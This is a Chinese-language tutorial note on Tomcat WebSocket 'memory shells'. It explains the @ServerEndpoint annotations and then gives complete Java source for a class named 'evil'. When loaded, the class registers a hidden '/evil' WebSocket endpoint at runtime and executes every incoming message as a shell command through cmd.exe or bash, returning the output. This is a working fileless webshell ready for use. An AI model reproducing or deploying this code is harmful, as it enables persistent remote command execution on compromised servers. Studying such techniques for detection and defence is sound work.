基础知识
WebSocket实现
仅记录一下注解的实现
value
:必要,String类型,此Endpoint部署的URI路径。
configurator
:非必要,继承ServerEndpointConfig.Configurator的类,主要提供ServerEndpoint对象的创建方式扩展(如果使用Tomcat的WebSocket实现,默认是反射创建ServerEndpoint对象)。
decoders
:非必要,继承Decoder的类,用户可以自定义一些消息解码器,比如通信的消息是一个对象,接收到消息可以自动解码封装成消息对象。
encoders
:非必要,继承Encoder的类,此端点将使用的编码器类的有序数组,定义解码器和编码器的好处是可以规范使用层消息的传输。
subprotocols
:非必要,String数组类型,用户在WebSocket协议下自定义扩展一些子协议。
比如:
1
| @ServerEndpoint(value = "/ws/{userId}", encoders = {MessageEncoder.class}, decoders = {MessageDecoder.class}, configurator = MyServerConfigurator.class)
|
@ServerEndpoint可以注解到任何类上,但是想实现服务端的完整功能,还需要配合几个生命周期的注解使用,这些生命周期注解只能注解在方法上:
@OnOpen
建立连接时触发。
@OnClose
关闭连接时触发。
@OnError
发生异常时触发。
@OnMessage
接收到消息时触发。
WebSocket加载
Tomcat的WebSocket加载是通过SCI机制完成的
然后调用addEndpoint方法注册到WebSocketContainer上
所以思路:
- 获取当前的StandardContext
- 通过StandardContext获取ServerContainer
- 定义一个恶意类,并创建一个ServerEndpointConfig,给这个恶意类分配URI path
- 调用ServerContainer.addEndpoint方法,将创建的ServerEndpointConfig添加进去
复现
假如有某处可以控制代码加载了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57
| import org.apache.catalina.core.StandardContext; import org.apache.catalina.loader.WebappClassLoaderBase; import org.apache.tomcat.websocket.server.WsServerContainer;
import javax.websocket.*; import javax.websocket.server.ServerContainer; import javax.websocket.server.ServerEndpointConfig; import java.io.InputStream;
public class evil extends Endpoint implements MessageHandler.Whole<String> { static { WebappClassLoaderBase webappClassLoaderBase = (WebappClassLoaderBase) Thread.currentThread().getContextClassLoader(); StandardContext standardContext = (StandardContext) webappClassLoaderBase.getResources().getContext(); ServerEndpointConfig build = ServerEndpointConfig.Builder.create(evil.class, "/evil").build(); WsServerContainer attribute = (WsServerContainer) standardContext.getServletContext().getAttribute(ServerContainer.class.getName()); try { attribute.addEndpoint(build); } catch (DeploymentException e) { throw new RuntimeException(e); } }
private Session session;
public void onMessage(String message) { try { boolean iswin = System.getProperty("os.name").toLowerCase().startsWith("windows"); Process exec; if (iswin) { exec = Runtime.getRuntime().exec(new String[]{"cmd.exe", "/c", message}); } else { exec = Runtime.getRuntime().exec(new String[]{"/bin/bash", "-c", message}); }
InputStream ips = exec.getInputStream(); StringBuilder sb = new StringBuilder();
int i; while((i = ips.read()) != -1) { sb.append((char)i); }
ips.close(); exec.waitFor(); this.session.getBasicRemote().sendText(sb.toString()); } catch (Exception e) { e.printStackTrace(); } }
@Override public void onOpen(Session session, EndpointConfig config) { this.session = session; this.session.addMessageHandler(this); } }
|
详细学习
https://xz.aliyun.com/t/11566
https://xz.aliyun.com/t/11549